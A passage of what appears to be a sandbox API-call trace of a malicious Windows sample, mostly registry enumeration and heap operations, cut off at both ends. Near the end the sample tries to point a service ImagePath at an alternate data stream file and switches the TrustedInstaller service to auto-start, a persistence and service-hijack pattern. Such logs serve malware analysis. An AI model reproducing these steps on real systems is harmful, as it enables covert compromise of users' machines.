dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0177.153] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3d8 [0177.153] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0177.153] RegEnumValueA (in: hKey=0x14c, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0177.153] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x20) returned 0x252bc08 [0177.153] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d660) returned 1 [0177.153] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d398 [0177.153] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0177.153] RegEnumValueA (in: hKey=0x14c, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0177.153] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3c8 [0177.153] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0177.153] RegEnumValueA (in: hKey=0x14c, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0177.153] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d498 [0177.153] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0177.153] RegEnumValueA (in: hKey=0x14c, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0177.153] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4c8 [0177.153] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0177.153] RegEnumValueA (in: hKey=0x14c, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0177.153] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x30) returned 0x21573f8 [0177.153] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252bc08) returned 1 [0177.153] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4e8 [0177.153] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0177.153] RegEnumValueA (in: hKey=0x14c, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0177.153] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4d8 [0177.153] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0177.153] RegEnumValueA (in: hKey=0x14c, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0177.153] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d408 [0177.154] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0177.154] RegEnumValueA (in: hKey=0x14c, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0177.154] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0177.154] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0177.154] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0177.154] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0177.154] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0177.154] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0177.154] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0177.154] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0177.154] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0177.154] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0177.154] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0177.154] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0177.154] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0177.154] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0177.154] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0177.154] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0177.154] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0177.154] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0177.154] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d2f8) returned 1 [0177.154] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0177.154] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3b8) returned 1 [0177.154] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0177.154] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3a8) returned 1 [0177.154] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0177.154] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3d8) returned 1 [0177.154] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0177.154] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d398) returned 1 [0177.154] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0177.154] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3c8) returned 1 [0177.154] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0177.154] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d498) returned 1 [0177.154] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0177.154] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4c8) returned 1 [0177.154] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0177.154] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4e8) returned 1 [0177.154] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0177.155] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4d8) returned 1 [0177.155] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0177.155] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d408) returned 1 [0177.155] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21573f8) returned 1 [0177.155] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0177.155] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0177.155] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0177.155] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d660 [0177.155] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d408 [0177.155] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0177.155] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0177.155] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0177.155] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0177.155] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d268) returned 1 [0177.155] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d648) returned 1 [0177.155] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d648 [0177.155] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d268 [0177.155] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0177.155] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0177.155] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d408) returned 1 [0177.155] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d660) returned 1 [0177.155] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0177.155] RegQueryValueExA (in: hKey=0x14c, lpValueName="DependOnService", lpReserved=0x0, lpType=0x36f454, lpData=0x0, lpcbData=0x36f45c*=0x0 | out: lpType=0x36f454*=0x7, lpData=0x0, lpcbData=0x36f45c*=0x7) returned 0x0 [0177.155] RegQueryValueExA (in: hKey=0x14c, lpValueName="DependOnService", lpReserved=0x0, lpType=0x36f454, lpData=0x21f1c40, lpcbData=0x36f45c*=0x7 | out: lpType=0x36f454*=0x7, lpData=0x21f1c40*, lpcbData=0x36f45c*=0x7) returned 0x0 [0177.155] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0177.155] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d660 [0177.155] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d408 [0177.155] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0177.155] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0177.155] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d678 [0177.155] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4d8 [0177.155] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0177.155] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0177.155] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d408) returned 1 [0177.155] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d660) returned 1 [0177.156] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0177.156] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0177.156] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d518) returned 1 [0177.156] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d630) returned 1 [0177.156] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d630 [0177.156] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d518 [0177.156] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0177.156] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0177.156] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4d8) returned 1 [0177.156] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d678) returned 1 [0177.156] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0177.156] RegSetValueExA (hKey=0x0, lpValueName="DependOnService", Reserved=0x0, dwType=0x1, lpData=0x21f18e0, cbData=0x6) returned 0x6 [0177.156] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0177.156] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0177.156] RegSetValueExA (hKey=0x0, lpValueName="DependOnService ", Reserved=0x0, dwType=0x1, lpData=0x21f18e0, cbData=0x1) returned 0x6 [0177.156] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0177.156] RegEnumValueA (in: hKey=0x14c, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0177.156] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d678 [0177.156] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4d8 [0177.156] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0177.156] RegEnumValueA (in: hKey=0x14c, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0177.156] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d408 [0177.156] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0177.156] RegEnumValueA (in: hKey=0x14c, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0177.156] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4e8 [0177.156] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0177.156] RegEnumValueA (in: hKey=0x14c, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0177.156] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4c8 [0177.156] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0177.156] RegEnumValueA (in: hKey=0x14c, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0177.156] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x20) returned 0x252bc08 [0177.157] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d678) returned 1 [0177.157] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d498 [0177.157] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0177.157] RegEnumValueA (in: hKey=0x14c, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0177.157] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3c8 [0177.157] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0177.157] RegEnumValueA (in: hKey=0x14c, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0177.157] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d398 [0177.157] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0177.157] RegEnumValueA (in: hKey=0x14c, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0177.157] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3d8 [0177.157] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0177.157] RegEnumValueA (in: hKey=0x14c, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0177.157] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x30) returned 0x21573f8 [0177.157] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252bc08) returned 1 [0177.157] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3a8 [0177.157] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0177.157] RegEnumValueA (in: hKey=0x14c, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0177.157] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3b8 [0177.157] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0177.157] RegEnumValueA (in: hKey=0x14c, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0177.157] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d2f8 [0177.157] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0177.157] RegEnumValueA (in: hKey=0x14c, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0177.157] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0177.157] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0177.157] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0177.157] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0177.157] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0177.157] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0177.157] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4d8) returned 1 [0177.157] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0177.158] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d408) returned 1 [0177.158] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0177.158] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4e8) returned 1 [0177.158] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0177.158] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4c8) returned 1 [0177.158] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0177.158] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d498) returned 1 [0177.158] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0177.158] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3c8) returned 1 [0177.158] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0177.158] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d398) returned 1 [0177.158] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0177.158] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3d8) returned 1 [0177.158] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0177.158] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3a8) returned 1 [0177.158] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0177.158] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3b8) returned 1 [0177.158] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0177.158] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d2f8) returned 1 [0177.158] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21573f8) returned 1 [0177.158] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0177.158] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0177.158] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0177.158] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0177.158] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0177.158] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0177.158] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0177.158] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0177.158] RegSetValueExA (hKey=0x0, lpValueName="ImagePath ", Reserved=0x0, dwType=0x1, lpData=0x21f1ad8, cbData=0x1) returned 0x6 [0177.158] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0177.158] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0177.158] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2fc0 [0177.158] CommandLineToArgvW (in: lpCmdLine="", pNumArgs=0x36f464 | out: pNumArgs=0x36f464) returned 0x803ea0*="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\SFBHOP~1:bin" [0177.158] RegSetValueExA (hKey=0x0, lpValueName="ImagePath", Reserved=0x0, dwType=0x1, lpData=0x21f1bf8, cbData=0x2f) returned 0x6 [0177.158] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0177.159] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0177.159] OpenServiceW (hSCManager=0x803918, lpServiceName="TrustedInstaller", dwDesiredAccess=0x2) returned 0x8038a0 [0177.159] ChangeServiceConfigW (in: hService=0x8038a0, dwServiceType=0xffffffff, dwStartType=0x2, dwErrorControl=0xffffffff, lpBinaryPathName=0x0, lpLoadOrderGroup=0x0, lpdwTagId=0x0, lpDependencies=0x0, lpServiceStartName=0x0, lpPassword=0x0, lpDisplayName=0x0 | out: lpdwTagId=0x0) returned 1 [0177.160] CloseServiceHandle (hSCObject=0x8038a0) returned 1 [0177.160] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0177.160] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d268) returned 1 [0177.160] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d648) returned 1 [0177.160] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0177.160] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d518) returned 1 [0177.161] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d630) returned 1 [0177.161] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0177.161] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0177.161] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0177.161] RegCloseKey (hKey=0x14c) returned 0x0 [0177.161] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1898) returned 1 [0177.161] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1808) returned 1 [0177.161] GetFileAttributesExW (in: lpFileName="C:\\Windows\\servicing\\TrustedInstaller.exe" (normalized: "c:\\windows\\servicing\\trustedinstaller.exe"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bcf001f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8bcf001f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8bcf001f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2f600)) returned 1 [0177.161] CreateFileW (lpFileName="C:\\Windows\\servicing\\TrustedInstaller.exe" (normalized: 